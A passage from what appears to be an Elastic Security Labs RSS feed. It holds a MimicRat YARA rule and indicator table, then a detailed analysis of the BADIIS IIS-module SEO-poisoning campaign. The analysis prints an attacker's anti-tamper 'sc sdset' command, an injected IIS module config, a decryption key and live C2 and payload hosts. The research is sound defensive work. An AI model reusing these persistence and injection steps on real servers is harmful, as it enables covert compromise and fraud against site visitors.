        category_type = &quot;Trojan&quot;
        family = &quot;MimicRat&quot;
        threat_name = &quot;Windows.Trojan.MimicRat&quot;
        reference_sample = &quot;a508d0bb583dc6e5f97b6094f8f910b5b6f2b9d5528c04e4dee62c343fce6f4b&quot;
        scan_type = &quot;File, Memory&quot;
        severity = 100

    strings:
        $b_0 = { 41 8B 56 18 49 8B 4E 10 41 89 46 08 }
        $b_1 = { 41 FF C0 48 FF C1 48 83 C2 4C 49 3B CA }
    condition:
        all of them
}
</code></pre>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>bcc7a0e53ebc62c77b7b6e3585166bfd7164f65a8115e7c8bda568279ab4f6f1</code></td>
<td>SHA-256</td>
<td></td>
<td>Stage 1 PowerShell payload</td>
</tr>
<tr>
<td><code>5e0a30d8d91d5fd46da73f3e6555936233d870ac789ca7dd64c9d3cc74719f51</code></td>
<td>SHA-256</td>
<td></td>
<td>Lua loader</td>
</tr>
<tr>
<td><code>a508d0bb583dc6e5f97b6094f8f910b5b6f2b9d5528c04e4dee62c343fce6f4b</code></td>
<td>SHA-256</td>
<td></td>
<td>MIMICRAT beacon</td>
</tr>
<tr>
<td><code>055336daf2ac9d5bbc329fd52bb539085d00e2302fa75a0c7e9d52f540b28beb</code></td>
<td>SHA-256</td>
<td></td>
<td>Related beacon sample</td>
</tr>
<tr>
<td><code>45.13.212.251</code></td>
<td>IP</td>
<td></td>
<td>Payload delivery infrastructure</td>
</tr>
<tr>
<td><code>45.13.212.250</code></td>
<td>IP</td>
<td></td>
<td>Payload delivery infrastructure</td>
</tr>
<tr>
<td><code>23.227.202.114</code></td>
<td>IP</td>
<td></td>
<td>Post-exploitation C2</td>
</tr>
<tr>
<td><code>xmri.network</code></td>
<td>Domain</td>
<td></td>
<td>Stage 1 C2 / payload delivery</td>
</tr>
<tr>
<td><code>wexmri.cc</code></td>
<td>Domain</td>
<td></td>
<td>Stage 1 C2 alternate</td>
</tr>
<tr>
<td><code>www.ndibstersoft[.]com</code></td>
<td>Domain</td>
<td></td>
<td>Post-exploitation C2</td>
</tr>
<tr>
<td><code>d15mawx0xveem1.cloudfront[.]net</code></td>
<td>Domain</td>
<td></td>
<td>Post-exploitation C2</td>
</tr>
<tr>
<td><code>www.investonline.in/js/jq.php</code></td>
<td>URL</td>
<td></td>
<td>Malicious JS payload host (compromised)</td>
</tr>
<tr>
<td><code>backupdailyawss.s3.us-east-1.amazonaws[.]com/rgen.zip</code></td>
<td>URL</td>
<td></td>
<td>Payload delivery</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/mimicrat-custom-rat-mimics-c2-frameworks/photo-edited-01.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[BADIIS to the Bone: New Insights to a Global SEO Poisoning Campaign]]></title>
            <link>https://www.elastic.co/fr/security-labs/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign</link>
            <guid>badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign</guid>
            <pubDate>Wed, 11 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[In November 2025, Elastic Security Labs observed an intrusion affecting a multinational organization based in Southeast Asia. During the analysis of this activity, our team observed various post-compromise techniques and tooling used to deploy BADIIS malware onto a Windows web server consistent with other industry publications.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>In November 2025, Elastic Security Labs observed an intrusion affecting a multinational organization based in Southeast Asia. During the analysis of this activity, our team observed various post-compromise techniques and tooling used to deploy BADIIS malware onto a Windows web server.  These observations align with previous reporting from <a href="https://blog.talosintelligence.com/uat-8099-chinese-speaking-cybercrime-group-seo-fraud/">Cisco Talos</a> and <a href="https://www.trendmicro.com/en_us/research/25/b/chinese-speaking-group-manipulates-seo-with-badiis.html">Trend Micro</a> from last year.</p>
<p>This threat group has amassed more victims and is coordinating a large-scale SEO poisoning operation from countries across the globe. Our visibility into the campaign indicates a complex, geotargeted infrastructure designed to monetize compromised servers by redirecting users to a broad network of illicit websites such as online gambling platforms and cryptocurrency schemes.</p>
<h3>Key takeaways</h3>
<ul>
<li>Elastic Security Labs observes large-scale SEO poisoning campaigns targeting IIS servers with BADIIS malware globally, impacting over 1,800 Windows servers</li>
<li>Compromised servers are monetized through a web of infrastructure used to target users with gambling advertisements and other illicit websites</li>
<li>Victim infrastructure includes governments, various corporate organizations, and educational institutions from Australia, Bangladesh, Brazil, China, India, Japan, Korea, Lithuania, Nepal, and Vietnam</li>
<li>This activity corresponds with the threat group, UAT-8099, identified by Cisco Talos last October, and is consistent with prior reporting from Trend Micro</li>
</ul>
<h2>Campaign Overview</h2>
<p>REF4033 is a Chinese-speaking cybercrime group responsible for a massive, coordinated SEO poisoning campaign that has compromised more than 1,800 Windows web servers worldwide using a malicious IIS module called BADIIS.</p>
<p>The campaign operates through a two-phase process:</p>
<ul>
<li>First, it serves keyword-stuffed HTML to search engine crawlers to poison search results, and</li>
<li>Next, it redirects victims to a sprawling &quot;vice economy&quot; of illicit gambling platforms, pornography, and sophisticated cryptocurrency phishing sites, such as a fraudulent clone of the Upbit exchange.</li>
</ul>
<p>By deploying the BADIIS malware, a malicious IIS module that integrates directly into a web server's request processing pipeline, the group hijacks the web servers for legitimate government, educational, and corporate domains. This high-reputation infrastructure is used to manipulate search engine rankings, thereby allowing attackers to intercept web traffic and facilitate widespread financial fraud.</p>
<h2>Intrusion activity</h2>
<p>In November 2025, Elastic Security Labs observed post-compromise activity from a Windows IIS server from an unknown attack vector. This threat actor moved quickly, progressing from initial access to IIS module deployment in less than 17 minutes. The initial enumeration was performed via a webshell running under the IIS worker process (<code>w3wp.exe</code>). The attacker conducted initial discovery and then created a new user account.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image9.png" alt="REF4033 execution flow" /></p>
<p>Shortly after the account was created and added to the Administrators group, <a href="https://www.elastic.co/fr/security">Elastic Defend</a> generated several alerts related to a newly created Windows service, <code>WalletServiceInfo</code>. The service loaded an unsigned ServiceDLL  (<code>C:\ProgramData\Microsoft\Windows\Ringtones\CbsMsgApi.dll</code>)  and subsequently executed direct syscalls from the module.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image18.png" alt="Suspicious Windows Service DLL Creation Alert" /></p>
<p>Next, we saw the threat actor harden their access by using a program called <a href="https://www.d99net.net/">D-Shield Firewall</a>. This software provides additional security features for IIS servers, including preventive protections and capabilities to add network restrictions. To proceed with the investigation, we used the observed imphash (<code>1e4b23eee1b96b0cc705da1e7fb9e2f3</code>) of the loader (<code>C:\ProgramData\Microsoft\Windows\Ringtones\CbsMsgApi.exe</code>) to obtain a loader <a href="https://www.virustotal.com/gui/file/055bdcaa0b69a1e205c931547ef863531e9fdfdaac93aaea29fb701c7b468294">sample</a> from VirusTotal for our analysis.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image14.png" alt="CbsMsgApi - imphash" /></p>
<p>To collect a sample of the malicious DLL used by this loader, we performed a VirusTotal <a href="https://www.virustotal.com/gui/search/name%253ACbsMsgApi%252Edll?type=files">search</a> on the name (<code>CbsMsgApi.dll</code>). We found 7 samples submitted using the same filename. The group behind this appears to have been using a similar codebase since September 2024. Most of these samples employ <a href="https://vmpsoft.com/">VMProtect</a>, a commercial code-obfuscation framework, to hinder static and dynamic analysis. Fortunately, we used an older, non-protected <a href="https://www.virustotal.com/gui/file/2340f152e8cb4cc7d5d15f384517d756a098283aef239f8cbfe3d91f8722800a">sample</a> to gain additional insight into this attack chain.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image12.png" alt="CbsMsgApi.dll sample listing in VirusTotal" /></p>
<h2>Code analysis - CbsMsgApi.exe</h2>
<p>The group employs an attack workflow that requires several files staged by the attacker to deploy the malicious IIS module. The execution chain begins with the PE executable, <code>CbsMsgApi.exe</code>. This file contains Chinese Simplified strings, including the PDB string (<code>C:\Users\Administrator\Desktop\替换配置文件\w3wpservice-svchost\x64\Release\CbsMsgApi.pdb</code>).</p>
<p>After launch, this program creates a Windows service, <code>WalletServiceinfo,</code> which configures a ServiceDLL (<code>CbsMsgApi.dll</code>) that runs under <code>svchost.exe</code>, similar to this <a href="https://www.ired.team/offensive-security/persistence/persisting-in-svchost.exe-with-a-service-dll-servicemain">persistence technique</a>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image26.png" alt="Console output from Cbs.exe" /></p>
<p>This newly created service focuses on stealth and anti-tampering by modifying the security descriptor of the service with the following command-line:</p>
<pre><code>sc sdset &quot;WalletServiceInfo&quot; &quot;D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)&quot;
</code></pre>
<h2>Code analysis - CbsMsgApi.dll</h2>
<p>The main component of this attack sequence is the ServiceDLL (<code>CbsMsgApi.dll</code>). The malicious DLL stages the BADIIS IIS native modules and alters the IIS configuration to load them into the request pipeline of the DefaultAppPool.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image4.png" alt="ServiceMain functionality within CbsMsgApi.dll" /></p>
<p>During this attack, the threat actor stages three files masquerading within the <code>System32\drivers</code> folder:</p>
<ul>
<li><code>C:\Windows\System32\drivers\WUDFPfprot.sys</code></li>
<li><code>C:\Windows\System32\drivers\WppRecorderpo.sys</code></li>
<li><code>C:\Windows\System32\drivers\WppRecorderrt.sys</code></li>
</ul>
<p>Two of these files (<code>WppRecorderrt.sys</code>, <code>WppRecorderpo.sys</code>) represent the malicious 32-bit / 64-bit BADIIS modules. The other file (<code>WUDFPfprot.sys</code>) represents configuration elements that will be injected into the IIS’s existing configuration. Below is an example configuration used during our analysis. Of note is the module name <code>WsmRes64</code> (more information on this DLL is detailed in the IIS Modules Analysis (<code>WsmRes32.dll</code> / <code>WsmRes64.dll</code>) section below):</p>
<pre><code>&lt;globalModules&gt;
    	&lt;add name=&quot;WsmRes64&quot; image=&quot;C:\Windows\Microsoft.NET\Framework\WsmRes64.dll&quot; preCondition=&quot;bitness64&quot; /&gt;
&lt;/globalModules&gt;
&lt;modules&gt;
    &lt;add name=&quot;WsmRes64&quot; preCondition=&quot;bitness64&quot; /&gt;
&lt;/modules&gt;
</code></pre>
<p>The malware uses the <code>CopyFileA</code> function to move the contents from the masqueraded files into the .NET directory (<code>C:\Windows\Microsoft.NET\Framework</code>).</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image7.png" alt="Copying the IIS module into the .NET Framework directory" /></p>
<p>Next, the malware parses the <code>DefaultAppPool.config</code> file, examining each node to update the <code>&lt;globalModules&gt;</code> and <code>&lt;modules&gt;</code> nodes. The module will inject configuration content from the previously masqueraded file (<code>WUDFPfprot.sys</code>), updating the IIS configuration via a series of append operations.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image8.png" alt="Procmon output showing DefaultAppPool modification" /></p>
<p>Below is an example of the newly added global module entry that references the BADIIS DLL.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image6.png" alt="Newly added global module" /></p>
<p>Upon successful execution, the BADIIS module is installed on the IIS server and becomes visible as a loaded module in the <code>w3wp.exe</code> worker process.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image20.png" alt="WsmRes64.dll loaded under w3wp.exe" /></p>
<h2>IIS Modules Analysis (WsmRes32.dll / WsmRes64.dll)</h2>
<p>The following section will describe the functionality of BADIIS modules. These modules facilitate the conditional injection or redirection of malicious SEO content based on criteria such as the User-Agent or Referer header value. This technique ensures that malicious content remains hidden during normal use, thereby allowing the modules to remain undetected for as long as possible.</p>
<p>Upon initialization, the module downloads content from URLs defined in its configuration. These URLs are stored in an encrypted format and decrypted using the <code>SM4 algorithm</code> (a Chinese national standard block cipher) in ECB mode with the key “<code>1111111122222222”</code>. In older samples, the AES-128 ECB algorithm was used instead.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image3.png" alt="Configuration decryption function" /></p>
<p>Each URL in the configuration points to a static <code>.txt</code> file that contains a second-stage resource. The list below details these source files and their specific roles:</p>
<table>
<thead>
<tr>
<th align="left">Example configuration URL</th>
<th align="left">File Name</th>
<th align="left">Content Description</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>hxxp://kr.gotz003[.]com/krfml/krfmlip.txt</code></td>
<td align="left"><code>*fmlip.txt</code></td>
<td align="left">Contains a URL pointing to a fake CSS file, <code>google.css</code>, that lists subnets used for filtering requests.</td>
</tr>
<tr>
<td align="left"><code>hxxp://kr.gotz003[.]com/krfml/krfmltz.txt</code></td>
<td align="left"><code>*fmltz.txt</code></td>
<td align="left">Contains a link to the target URL used for user redirections.</td>
</tr>
<tr>
<td align="left"><code>hxxp://kr.gotz003[.]com/krfml/krfmllj.txt</code></td>
<td align="left"><code>*fmllj.txt</code></td>
<td align="left">Contains a link to the malicious SEO backlinks intended for injection.</td>
</tr>
<tr>
<td align="left"><code>hxxp://kr.gotz003[.]com/krfml/krfmldz.txt</code></td>
<td align="left"><code>*fmldz.txt</code></td>
<td align="left">Contains the link to the SEO content generator.</td>
</tr>
</tbody>
</table>
<p>These URLs point to region-specific files, prefixed with the corresponding country code. While the examples above focus on Korea (<code>hxxp://kr.domain.com</code>), equivalent files exist for other regions, such as Vietnam (VN), where filenames are prefixed with <code>&quot;vn&quot;</code> rather than &quot;<code>kr&quot;</code>(<code>hxxp://vn.domain.com</code>).</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image3.png" alt="Decrypted configuration URL using the SM4 algorithm" /></p>
<p>The BADIIS module registers within the request processing pipeline, positioning itself as both the first and the last handler. For each request, the module verifies specific properties and selects an injection or redirection strategy based on the results. We have three types of injection:</p>
<table>
<thead>
<tr>
<th align="left">Source</th>
<th align="left">Injection Method</th>
<th align="left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>*fmltz.txt</code></td>
<td align="left">Full page replacement</td>
<td align="left">HTML loader with progress bar + auto-redirect + Google Analytics tracking</td>
</tr>
<tr>
<td align="left"><code>*fmldz.txt</code></td>
<td align="left">Full page replacement</td>
<td align="left">Direct link to SEO content, built with <code>index.php?domain=&lt;host&gt;&amp;uri=&lt;original_link&gt;</code></td>
</tr>
<tr>
<td align="left"><code>*fmllj.txt</code></td>
<td align="left">Inline injection</td>
<td align="left">SEO backlinks injected after <code>&lt;body&gt;</code> or <code>&lt;html&gt;</code> tag in existing response</td>
</tr>
</tbody>
</table>
<p>To distinguish between bot and human traffic, the module checks against the following list of Referers and User-Agents.</p>
<p><strong>Referers</strong>: <code>bing</code>, <code>google</code>, <code>naver</code>, <code>daum</code><br />
<strong>User agents</strong>: <code>bingbot</code>, <code>Googlebot</code>, <code>Yeti</code>, <code>Daum</code></p>
<p>The default injection strategy targets search engine crawlers accessing a legitimate page on the compromised site.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image19.png" alt="Download and injection of SEO backlinks" /></p>
<p>In this scenario, the SEO backlinks are retrieved from the secondary link and injected into the page to be crawled by search engine bots. The downloaded backlinks that are injected into the infected page primarily target other local pages within the domain, whereas the remainder point to pages on other infected domains. This is a key aspect of the link-farming strategy, which involves creating large networks of sites that link to one another and manipulate search rankings.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image22.png" alt="Inlined SEO backlinks on the infected page" /></p>
<p>The local pages linked by the backlinks do not exist on the infected domain, so visiting them results in a 404 error. However, when the request is intercepted, the malware checks two conditions: whether the status code is not 200 or 3xx, and whether the browser's User-Agent matches a crawler bot. If so, it downloads content from an SEO page hosted on its infrastructure (via a link in the <code>*fmldz.txt</code> file from its configuration URL) and returns a 200 response code to the bot. This target URL is built using 'domain' and 'uri' parameters that contain the infected domain name and the resource the crawler originally attempted to access.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image1.png" alt="404 page replacement strategy with User-Agent" /></p>
<p>Finally, if a user requests a page that does not exist and arrives with a Referer header value listed by the malware, the page is replaced by a third type of content: a landing page with a loading bar. This page uses JavaScript to redirect the user to the link contained in the <code>*fmltz.txt</code> file, which is obtained via its configuration link.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image23.png" alt="404 landing/redirection page with Referer" /></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image5.png" alt="404 redirection target with Referer" /></p>
<p>Optionally, if enabled, the request is executed only when the User-Agent matches a mobile phone, ensuring the server targets mobile users exclusively.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image17.png" alt="Requests are optionally filtered on server IP and mobile’s User-Agents" /></p>
<p>The list of mobile User-Agents is listed below:</p>
<p><strong>Devices:</strong> <code>iPhone</code>, <code>iPad</code>, <code>iPod</code>, <code>iOS</code>, <code>Android</code>, <code>uc (UC Browser)</code>, <code>BlackBerry</code>, <code>HUAWEI</code></p>
<p>If the option is enabled and the infected server's IP address matches the subnet list in the <code>google.css</code> file downloaded from the <code>*fmlip.txt</code> file, the server serves the standard SEO content instead of the landing/redirection page.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image21.png" alt="Subnet filter list" /></p>
<p>The landing page includes JavaScript code containing an analytics tag—either Google Analytics or Baidu Tongji, depending on the target region—to monitor redirections. While the exact reason for using server IP filtering to restrict traffic remains unclear, we speculate that it is linked to these analytics and implemented for SEO purposes.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image24.png" alt="Google Analytics in landing pages" /></p>
<p>We identified the following Google tags across the campaign:</p>
<ul>
<li><code>G-2FK43E86ZM</code></li>
<li><code>G-R0KHSLRZ7N</code></li>
</ul>
<p>As well as a Baidu Tongji tag:</p>
<ul>
<li><code>B59ff1638e92ab1127b7bc76c7922245</code></li>
</ul>
<h2>Campaign Analysis</h2>
<p>Based on similarity in URL patterns (<code>&lt;country_code&gt;fml__.txt</code>, <code>&lt;country_code&gt;fml/index.php</code>), we discovered an older campaign dating back to mid-2023 that was using the following domains as the configuration server.</p>
<ul>
<li><code>tz123[.]app</code></li>
<li><code>tz789[.]app</code></li>
</ul>
<p><code>tz123[.]app</code> was disclosed in a Trend Micro BADIIS <a href="https://www.trendmicro.com/en_us/research/25/b/chinese-speaking-group-manipulates-seo-with-badiis.html">campaign summary</a> <a href="https://documents.trendmicro.com/assets/txt/badiis-IOCspbJhGdi.txt">IOC list</a>, published in 2024 . Based on the first submission dates on VT for samples named <code>ul_cache.dll</code> and communicating with <code>hxxp://tz789[.]app/brfmljs[.]txt</code>, some are also submitted under the filename <code>WsmRes64.dll</code>. This naming convention is consistent with the BADIIS loader component analyzed in the prior section. The earliest <a href="https://www.virustotal.com/gui/file/ec5a69bc62e66a2677ab91da16c247b780d109baa24c46b4b99233768455f558">sample</a> we discovered on VT was first submitted on 2023-12-12.</p>
<p>For REF4033, the infrastructure is split between two primary configuration servers.</p>
<ul>
<li>Recent campaigns (<code>gotz003[.]com</code>): Currently serves as the primary configuration hub. Further analysis has identified 5 active subdomains categorized by country codes:
<ul>
<li><code>kr.gotz003[.]com</code> (South Korea)</li>
<li><code>vn.gotz003[.]com</code> (Vietnam)</li>
<li><code>cn.gotz003[.]com</code> (China)</li>
<li><code>cnse.gotz003[.]com</code> (China)</li>
<li><code>bd.gotz003[.]com</code> (Bangladesh)</li>
</ul>
</li>
<li>Legacy infrastructure (<code>jbtz003[.]com</code>): Used in older campaign iterations, though several subdomains remain operational:</li>
<li><code>br.jbtz003[.]com</code> (Brazil)</li>
<li><code>vn.jbtz003[.]com</code> (Vietnam)</li>
<li><code>vnbtc.jbtz003[.]com</code> (Vietnam)</li>
<li><code>in.jbtz003[.]com</code> (India)</li>
<li><code>cn.jbtz003[.]com</code> (China)</li>
<li><code>jp.jbtz003[.]com</code> (Japan)</li>
<li><code>pk.jbtz003[.]com</code> (Pakistan)</li>
</ul>
<p>At its core, the recent campaign monetizes compromised servers by redirecting users to a vast network of illicit websites. The campaign is heavily invested in the vice economy, targeting Asian audiences, such as unregulated online casinos, pornography streaming, and explicit advertisements for prostitution services.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image10.png" alt="Redirected sites for users" /></p>
<p>It also poses a direct financial threat. One example was a fraudulent cryptocurrency staking platform hosted at <code>uupbit[.]top</code>, impersonating Upbit, South Korea’s largest cryptocurrency exchange.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image11.png" alt="www.uupbit[.]top - from urlscan.io" /></p>
<p>The campaign’s targeting logic largely mirrors the compromised infrastructure's geography, establishing a correlation between the server’s location and the user’s redirection target. For instance, compromised servers in China funnel traffic to local gambling sites, while those in South Korea redirect to the fraudulent Upbit phishing site. The exception to this pattern involved compromised infrastructure in Bangladesh, which the actors configured HTTP redirects to point to non-local, Vietnamese gambling sites.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image16.png" alt="User redirection link - infected servers located in Bangladesh" /></p>
<p>We have observed several different redirection loading pages throughout the clusters. Below is an example of the user redirection template for a <a href="https://www.virustotal.com/gui/file/1f9e694cac70d089f549d7adf91513f0f7e1d4ef212979aad67a5aea10c6d016">sample</a> targeting VN victim infrastructure. This template uses a Google tag and is very similar to one of the templates described in Cisco Talos’ <a href="https://blog.talosintelligence.com/uat-8099-chinese-speaking-cybercrime-group-seo-fraud/">UAT-8099 research</a>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image13.png" alt="Redirection template 1" /></p>
<p>A more consistent template observed across the victim clusters is shown in the snippet below, particularly the progress bar logic. Since the <a href="https://www.virustotal.com/gui/file/c5abe6936fe111bbded1757a90c934a9e18d849edd70e56a451c1547688ff96f/detection">sample</a> targets CN victim infrastructure, Baidu Tongji is used for tracking victim redirection.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image15.png" alt="Redirection template 2" /></p>
<p>We discovered several clusters (some with overlaps) of compromised servers from URLs containing backlinks in the following list:</p>
<ul>
<li><code>http://kr.gotz001[.]com/lunlian/index.php</code></li>
<li><code>http://se.gotz001[.]com/lunlian/index.php</code></li>
<li><code>https://cn404.gotz001[.]com/lunlian/index.php</code></li>
<li><code>https://cnse.gotz001[.]com/lunlian/index.php</code></li>
<li><code>https://cn.gotz001[.]com/lunlian/index.php</code></li>
<li><code>https://cn.gotz001[.]com/lunlian/indexgov.php</code></li>
<li><code>https://vn404.gotz001[.]com/lunlian/index.php</code></li>
<li><code>https://vn.gotz001[.]com/lunlian/index.php</code></li>
<li><code>http://bd.gotz001[.]com/lunlian/index.php</code></li>
<li><code>http://vn.jbtz001[.]com/lunlian/index.php</code></li>
<li><code>https://vnse.jbtz001[.]com/lunlian/index.php</code></li>
<li><code>https://vnbtc.jbtz001[.]com/lunlian/index.php</code></li>
<li><code>https://in.jbtz001[.]com/lunlian/index.php</code></li>
<li><code>https://br.jbtz001[.]com/lunlian/index.php</code></li>
<li><code>https://cn.jbtz001[.]com/lunlian/index.php</code></li>
<li><code>https://jp.jbtz001[.]com/lunlian/index.php</code></li>
<li><code>https://pk.jbtz001[.]com/lunlian/index.php</code></li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image25.png" alt="Link farm content at https://vn404[.]gotz001[.]com/lunlian/index.php" /></p>
<p>Within the scope of REF4033, <strong>more than 1800 servers were impacted globally</strong>, and the campaign demonstrates a clear geographic focus on the APAC region, with China and Vietnam accounting for approximately 82% of all observed compromised servers (46.1% and 35.8%, respectively). Secondary concentrations are observed in India (3.9%), Brazil (3.8%), and South Korea (3.4%), although these represent a minority of the overall campaign footprint. Notably, approximately 30% of compromised servers reside on major cloud platforms, including Amazon Web Services, Microsoft Azure, Alibaba Cloud, and Tencent Cloud. The remaining 70% of victims are distributed across regional telecommunications providers.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image28.png" alt="Victim infrastructure grouped by country &amp; ASN" /></p>
<p>The victim profile spans diverse sectors, including government agencies, educational institutions, healthcare providers, e-commerce platforms, media outlets, and financial services, indicating large-scale opportunistic exploitation rather than targeted exploitation. Government and public administration systems represent approximately 8% of identified victims across at least 5 countries (<code>.gov.cn</code>, <code>.gov.br</code>, <code>.gov.bd</code>, <code>.gov.vn</code>, <code>.gov.in</code>, <code>.leg.br</code>).</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image29.png" alt="Victim mapped via Geo IP" /></p>
<h2>REF4033 through MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1190">Exploit Public-Facing Application</a></li>
<li><a href="https://attack.mitre.org/techniques/T1505/004/">Server Software Component: IIS Components</a></li>
<li><a href="https://attack.mitre.org/techniques/T1136/001/">Create Account: Local Account</a></li>
<li><a href="https://attack.mitre.org/techniques/T1543/003/">Create or Modify System Process: Windows Service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1574/011/">Hijack Execution Flow: Services Registry Permissions Weakness</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/002/">Obfuscated Files or Information: Software Packing</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/005/">Masquerading: Match Legitimate Name or Location</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
</ul>
<h2>Remediating REF4033</h2>
<h3>Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/initial_access_suspicious_microsoft_iis_worker_descendant.toml">Suspicious Microsoft IIS Worker Descendant</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_potential_privilege_escalation_via_token_impersonation.toml">Potential Privilege Escalation via Token Impersonation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_privilege_escalation_via_seimpersonateprivilege.toml">Privilege Escalation via SeImpersonatePrivilege</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_direct_syscall_from_unsigned_module.toml">Direct Syscall from Unsigned Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/persistence_suspicious_windows_service_dll_creation.toml">Suspicious Windows Service DLL Creation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/persistence_suspicious_svchost_registry_modification.toml">Suspicious Svchost Registry Modification</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/credential_access_security_account_manager_(sam)_registry_access.toml">Security Account Manager (SAM) Registry Access</a></li>
</ul>
<h4>YARA</h4>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_BadIIS.yar">Windows.Trojan.BadIIS</a></li>
